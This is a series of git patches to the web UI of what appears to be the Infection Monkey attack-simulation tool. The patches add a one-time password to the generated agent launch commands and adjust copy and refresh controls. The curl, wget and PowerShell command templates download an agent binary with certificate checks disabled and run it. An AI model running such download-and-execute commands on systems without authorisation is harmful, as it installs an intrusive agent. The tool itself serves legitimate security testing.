b417d742f04..0dc63160499 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js @@ -1,8 +1,10 @@ -export default function generateLocalLinuxCurl(ip, username) { +const AGENT_OTP_ENVIRONMENT_VARIABLE = 'MONKEY_OTP' + +export default function generateLocalLinuxCurl(ip, username, otp) { let command = `curl https://${ip}:5000/api/agent-binaries/linux -k ` + `-o monkey-linux-64; ` + `chmod +x monkey-linux-64; ` - + `./monkey-linux-64 m0nk3y -s ${ip}:5000;`; + + `${AGENT_OTP_ENVIRONMENT_VARIABLE}=${otp} ./monkey-linux-64 m0nk3y -s ${ip}:5000;`; if (username != '') { command = `su - ${username} -c "${command}"`; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js index beb1aaa0103..406eaad80f6 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js @@ -1,8 +1,10 @@ -export default function generateLocalLinuxWget(ip, username) { +const AGENT_OTP_ENVIRONMENT_VARIABLE = 'MONKEY_OTP' + +export default function generateLocalLinuxWget(ip, username, otp) { let command = `wget --no-check-certificate https://${ip}:5000/api/agent-binaries/` + `linux -O ./monkey-linux-64; ` + `chmod +x monkey-linux-64; ` - + `./monkey-linux-64 m0nk3y -s ${ip}:5000`; + + `${AGENT_OTP_ENVIRONMENT_VARIABLE}=${otp} ./monkey-linux-64 m0nk3y -s ${ip}:5000`; if (username != '') { command = `su - ${username} -c "${command}"`; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js index 39825f6924a..127c49f543a 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js @@ -1,14 +1,17 @@ -function getAgentDownloadCommand(ip) { +const AGENT_OTP_ENVIRONMENT_VARIABLE = 'MONKEY_OTP' + +function getAgentDownloadCommand(ip, otp) { return `$execCmd = @"\r\n` + `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};` + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/agent-binaries/windows',` - + `"""$env:TEMP\\monkey.exe""");Start-Process -FilePath '$env:TEMP\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';` + + `"""$env:TEMP\\monkey.exe""");\`$env:${AGENT_OTP_ENVIRONMENT_VARIABLE}='${otp}' ;` + + `Start-Process -FilePath '$env:TEMP\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';` + `\r\n"@; \r\n` + `Start-Process -FilePath powershell.exe -ArgumentList $execCmd`; } -export default function generateLocalWindowsPowershell(ip, username) { - let command = getAgentDownloadCommand(ip) +export default function generateLocalWindowsPowershell(ip, username, otp) { + let command = getAgentDownloadCommand(ip, otp) if (username !== '') { command += ` -Credential ${username}`; } From 9127f43c26777f5c653b35ed6e63041b4fbad402 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Apr 2023 13:57:32 +0000 Subject: [PATCH 1161/1338] UI: Move OTP env variable definition to common location --- .../cc/ui/src/components/pages/RunMonkeyPage/commands/consts.js | 1 + .../components/pages/RunMonkeyPage/commands/local_linux_curl.js | 2 +- .../components/pages/RunMonkeyPage/commands/local_linux_wget.js | 2 +- .../pages/RunMonkeyPage/commands/local_windows_powershell.js | 2 +- 4 files changed, 4 insertions(+), 3 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/consts.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/consts.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/consts.js new file mode 100644 index 00000000000..5026cb5061e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/consts.js @@ -0,0 +1 @@ +export const AGENT_OTP_ENVIRONMENT_VARIABLE = 'MONKEY_OTP' diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js index 0dc63160499..dad18b22bf6 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js @@ -1,4 +1,4 @@ -const AGENT_OTP_ENVIRONMENT_VARIABLE = 'MONKEY_OTP' +import { AGENT_OTP_ENVIRONMENT_VARIABLE } from './consts'; export default function generateLocalLinuxCurl(ip, username, otp) { let command = `curl https://${ip}:5000/api/agent-binaries/linux -k ` diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js index 406eaad80f6..ee670f65acc 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js @@ -1,4 +1,4 @@ -const AGENT_OTP_ENVIRONMENT_VARIABLE = 'MONKEY_OTP' +import { AGENT_OTP_ENVIRONMENT_VARIABLE } from './consts'; export default function generateLocalLinuxWget(ip, username, otp) { let command = `wget --no-check-certificate https://${ip}:5000/api/agent-binaries/` diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js index 127c49f543a..8843ddda55e 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js @@ -1,4 +1,4 @@ -const AGENT_OTP_ENVIRONMENT_VARIABLE = 'MONKEY_OTP' +import {AGENT_OTP_ENVIRONMENT_VARIABLE} from './consts'; function getAgentDownloadCommand(ip, otp) { return `$execCmd = @"\r\n` From cefbfd6bef6711d00f263eee4d32933dc9a1aa9b Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Apr 2023 18:13:37 +0000 Subject: [PATCH 1162/1338] UI: Fix re-generate button hovertext --- .../pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js index be222b531b4..f4fb7c79544 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js @@ -84,7 +84,7 @@ const getContents = (props) => { - + ) } From af5b04f3e8a303621c7801ce808afc7019cd7c4d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Apr 2023 09:17:21 +0200 Subject: [PATCH 1163/1338] UI: Rename 'Re-generate monkey command' to 'Refresh OTP' --- .../RunMonkeyPage/RunManually/LocalManualRunOptions.js | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js index f4fb7c79544..a71950feaf0 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js @@ -6,7 +6,7 @@ import GenerateLocalWindowsPowershell from '../commands/local_windows_powershell import GenerateLocalLinuxWget from '../commands/local_linux_wget'; import GenerateLocalLinuxCurl from '../commands/local_linux_curl'; import CommandDisplay from '../utils/CommandDisplay'; -import {Button, Form} from 'react-bootstrap'; +import {Button, Form, Col} from 'react-bootstrap'; import IslandHttpClient, { APIEndpoint } from '../../../IslandHttpClient'; @@ -84,7 +84,9 @@ const getContents = (props) => { - + + + ) } From 81da7089fbc20280f3e04b29a3eae3693cb9e115 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Apr 2023 10:48:24 +0200 Subject: [PATCH 1164/1338] UI: Change manual commands types/titles --- .../RunMonkeyPage/RunManually/LocalManualRunOptions.js | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js index a71950feaf0..2ae19c9bbec 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js @@ -59,10 +59,10 @@ const getContents = (props) => { function generateCommands() { if (osType === OS_TYPES.WINDOWS_64) { - return [{type: 'Powershell', command: GenerateLocalWindowsPowershell(selectedIp, customUsername, otp)}] + return [{type: 'PowerShell', command: GenerateLocalWindowsPowershell(selectedIp, customUsername, otp)}] } else { - return [{type: 'CURL', command: GenerateLocalLinuxCurl(selectedIp, customUsername, otp)}, - {type: 'WGET', command: GenerateLocalLinuxWget(selectedIp, customUsername, otp)}] + return [{type: 'cURL', command: GenerateLocalLinuxCurl(selectedIp, customUsername, otp)}, + {type: 'Wget', command: GenerateLocalLinuxWget(selectedIp, customUsername, otp)}] } } From 9d59e58525408102375b9af1ab2b3cad1e99301f Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Apr 2023 14:16:14 +0000 Subject: [PATCH 1165/1338] UI: Re-generate OTP on copy button click --- .../pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js | 2 +- .../src/components/pages/RunMonkeyPage/utils/CommandDisplay.js | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js index 2ae19c9bbec..1083f1deaba 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js @@ -83,7 +83,7 @@ const getContents = (props) => { - + diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/CommandDisplay.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/CommandDisplay.js index e762e1ea4ac..d26132fda60 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/CommandDisplay.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/CommandDisplay.js @@ -44,7 +44,7 @@ export default function commandDisplay(props) {
    - From 9cbefbf9e52024869a41ea149e58d82c2b7bf797 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Apr 2023 15:04:10 +0000 Subject: [PATCH 1166/1338] UI: Re-generate OTP on ctrl+c --- .../RunMonkeyPage/utils/CommandDisplay.js | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/CommandDisplay.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/CommandDisplay.js index d26132fda60..9a789bc48bd 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/CommandDisplay.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/CommandDisplay.js @@ -26,6 +26,22 @@ export default function commandDisplay(props) { } }, [props.commands]); + function handleKeyDown(event) { + let charCode = String.fromCharCode(event.which).toLowerCase(); + if ((event.ctrlKey || event.metaKey) && charCode === 'c') { + props.onCopy(); + } + if ((event.ctrlKey || event.metaKey) && charCode === 'a') { + event.preventDefault(); + let codeElement = event.target.querySelector('code'); + let selection = window.getSelection(); + let range = document.createRange(); + range.selectNode(codeElement); + selection.addRange(range); + } + console.log(charCode); + } + function renderNav() { return (